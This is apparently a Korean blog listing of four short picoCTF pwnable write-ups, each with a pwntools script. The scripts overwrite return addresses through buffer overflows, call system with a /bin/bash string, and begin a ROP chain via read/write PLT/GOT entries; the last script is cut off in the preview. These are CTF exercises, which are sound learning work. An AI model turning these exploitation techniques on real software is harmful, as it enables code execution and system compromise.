본문 바로가기

CTF/Picoctf

(4)
picoctf pwnable_NewOverFlow Write up 엄청 쉬운문제 그냥 64비트 오버플로우 그냥 RET만 바꿔주면된다. 공격시나리오? 그거 그냥 갖다버리고 익스시켜버리면된다. from pwn import * p = process("./vuln") payload = "A"*72 payload += p64(0x400767) p.send(payload) p.interactive() 64비트에서는 SFP 가 8바이트니까 버퍼 64바이트에서 8바이트추가해서 72바이트로 해주면된다. 끝
picoctf pwnable_rop_3 Write up 뚜룬 ~~~ 32비트~~~~ ㅇ니ㅏㅁ러;ㅣ자덞;ㅣㅏㅈㄷ러 익스합시다.. read write 있네요... 익스시키면되요..ㅎㅎ 그냥 익스하면됩니다..ㅎㅎ.. from pwn import * p = process("./rop") binf = ELF("./rop") context.terminal = ['tmux', 'splitw', '-h'] #gdb.attach(p) pppr = 0x0804855d bss = 0x0804a020 offset = 0x9ad60 addr_read_plt = binf.plt['read'] addr_read_got = binf.got['read'] addr_write_plt = binf.plt['write'] addr_write_got = binf.got['write'] paylo..
picoctf pwnable_rop_2 Write up 음... RTL 그럼 마지막 문제는 ROP 겠지?? 제발 64비트 였으면 좋겠다~~~~ /bin/sh 안되서 깜짝 놀랐자너 그래서 고민하다가 /bin/bash 가 생각 났잖어~ 여깄네 요놈 익스 ㄱㄱ 아 맞다 시스템 여기씀 익스 긔긔 from pwn import * p = process("./rop") payload = "A"*140 payload += p32(0x80483a0) payload += "A"*4 payload += p32(0x8048610) p.sendline(payload) p.interactive() 익스댐
picoctf pwnable_rop_1 Write up 음...그냥 버퍼오버플로우다!! ㅎㅎ... 이것도 못풀면..ㅎㅎ... 음 버퍼오버플로우...ㅎㅎ... from pwn import * p = process("./rop") payload = "A"*140 payload += p32(0x080484a4) p.sendline(payload) p.interactive() 익스 완료~